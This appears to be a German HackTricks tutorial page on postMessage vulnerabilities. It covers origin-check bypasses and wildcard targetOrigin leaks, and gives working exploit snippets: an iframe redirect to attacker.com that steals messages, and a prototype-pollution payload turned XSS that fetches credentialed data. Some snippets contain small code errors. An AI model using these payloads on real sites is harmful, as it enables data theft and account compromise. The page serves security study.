.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Verwundbarkeiten
PostMessage Verwundbarkeiten
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Sende PostMessage
PostMessage verwendet die folgende Funktion, um eine Nachricht zu senden:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Beachten Sie, dass targetOrigin ein '*' oder eine URL wie https://company.com. sein kann.
Im zweiten Szenario kann die Nachricht nur an diese Domain gesendet werden (auch wenn der Ursprung des Window-Objekts unterschiedlich ist).
Wenn das Wildcard verwendet wird, können Nachrichten an jede Domain gesendet werden und werden an den Ursprung des Window-Objekts gesendet.
Angreifen von iframe & Wildcard in targetOrigin
Wie in diesem Bericht erklärt, wenn Sie eine Seite finden, die iframed werden kann (keine X-Frame-Header
-Schutz) und die sensible Nachrichten über postMessage mit einem Wildcard (*) sendet, können Sie den Ursprung des iframes ändern und die sensible Nachricht an eine von Ihnen kontrollierte Domain leaken.
Beachten Sie, dass, wenn die Seite iframed werden kann, aber targetOrigin auf eine URL und nicht auf ein Wildcard gesetzt ist, dieser Trick nicht funktioniert.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener Ausnutzung
addEventListener
ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die postMessages
erwartet.
Ein Code ähnlich dem folgenden wird verwendet:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Hinweis in diesem Fall, wie das erste, was der Code tut, die Herkunft überprüft. Dies ist äußerst wichtig, insbesondere wenn die Seite irgendetwas Sensibles mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden und die Passwörter der Opfer zu ändern (in diesem Beispiel).
Aufzählung
Um Ereignis-Listener auf der aktuellen Seite zu finden, können Sie:
- Durchsuchen Sie den JS-Code nach
window.addEventListener
und$(window).on
(JQuery-Version) - Führen Sie in der Konsole der Entwicklertools aus:
getEventListeners(window)
- Gehen Sie zu Elements --> Event Listeners in den Entwicklertools des Browsers
- Verwenden Sie eine Browsererweiterung wie https://github.com/benso-io/posta oder https://github.com/fransr/postMessage-tracker. Diese Browsererweiterungen werden alle Nachrichten abfangen und Ihnen anzeigen.
Umgehungen der Herkunftsüberprüfung
- Das
event.isTrusted
Attribut gilt als sicher, da esTrue
nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert. - Die Verwendung von
indexOf()
zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Die
search()
Methode vonString.prototype.search()
ist für reguläre Ausdrücke gedacht, nicht für Zeichenfolgen. Alles, was kein regulärer Ausdruck ist, führt zu einer impliziten Umwandlung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regulären Ausdrücken ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Die
match()
Funktion, ähnlich wiesearch()
, verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck nicht richtig strukturiert ist, könnte er anfällig für Umgehungen sein. -
Die
escapeHtml
Funktion soll Eingaben bereinigen, indem sie Zeichen maskiert. Sie erstellt jedoch kein neues maskiertes Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte EigenschafthasOwnProperty
nicht anerkennt, wird dieescapeHtml
nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert: -
Erwarteter Fehler:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Umgehung der Escape-Funktion:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Im Kontext dieser Schwachstelle ist das File
Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten name
Eigenschaft. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht von der escapeHtml
Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
- Die
document.domain
Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.
e.origin == window.origin Umgehung
Beim Einbetten einer Webseite in ein sandboxed iframe mit %%%%%% ist es wichtig zu verstehen, dass die Herkunft des iframes auf null gesetzt wird. Dies ist besonders wichtig, wenn es um Sandbox-Attribute und deren Auswirkungen auf Sicherheit und Funktionalität geht.
Durch die Angabe von allow-popups
im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das allow-popups-to-escape-sandbox
Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf null
gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit postMessage
gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf null
gesetzt. Diese Situation führt zu einem Szenario, in dem e.origin == window.origin
als wahr ausgewertet wird (null == null
), da sowohl das iframe als auch das Popup denselben Ursprungswert von null
teilen.
Für weitere Informationen lesen Sie:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Umgehung von e.source
Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für Content Scripts von Browsererweiterungen, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Sie können e.source
einer Nachricht auf null setzen, indem Sie ein iframe erstellen, das die postMessage sendet und sofort gelöscht wird.
Für weitere Informationen lesen Sie:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Header Umgehung
Um diese Angriffe durchzuführen, sollten Sie idealerweise in der Lage sein, die Opfer-Webseite in ein iframe
einzufügen. Aber einige Header wie X-Frame-Header
können dieses Verhalten verhindern.
In diesen Szenarien können Sie dennoch einen weniger stealthy Angriff verwenden. Sie können einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Stehlen von Nachrichten, die an das Kind gesendet werden, indem die Hauptseite blockiert wird
In der folgenden Seite sehen Sie, wie Sie sensible postmessage-Daten stehlen können, die an ein Kind-iframe gesendet werden, indem Sie die Hauptseite blockieren, bevor die Daten gesendet werden, und eine XSS im Kind ausnutzen, um die Daten zu leaken, bevor sie empfangen werden:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Stehlen von Nachrichten durch Ändern des iframe-Standorts
Wenn Sie eine Webseite ohne X-Frame-Header, die ein anderes iframe enthält, einfügen können, können Sie den Standort dieses Kind-iframe ändern, sodass, wenn es eine postmessage empfängt, die mit einem Wildcard gesendet wird, ein Angreifer diesen iframe-Ursprung auf eine von ihm kontrollierte Seite ändern und die Nachricht stehlen könnte:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage zu Prototype Pollution und/oder XSS
In Szenarien, in denen die über postMessage
gesendeten Daten von JS ausgeführt werden, können Sie die Seite iframe und die Prototype Pollution/XSS ausnutzen, indem Sie den Exploit über postMessage
senden.
Ein paar sehr gut erklärte XSS über postMessage
finden Sie unter https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Beispiel eines Exploits, um Prototype Pollution und dann XSS über eine postMessage
an ein iframe
auszunutzen:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Für weitere Informationen:
- Link zur Seite über Prototype Pollution
- Link zur Seite über XSS
- Link zur Seite über Client Side Prototype Pollution zu XSS
Referenzen
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Zum Üben: https://github.com/yavolo/eventlistener-xss-recon
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.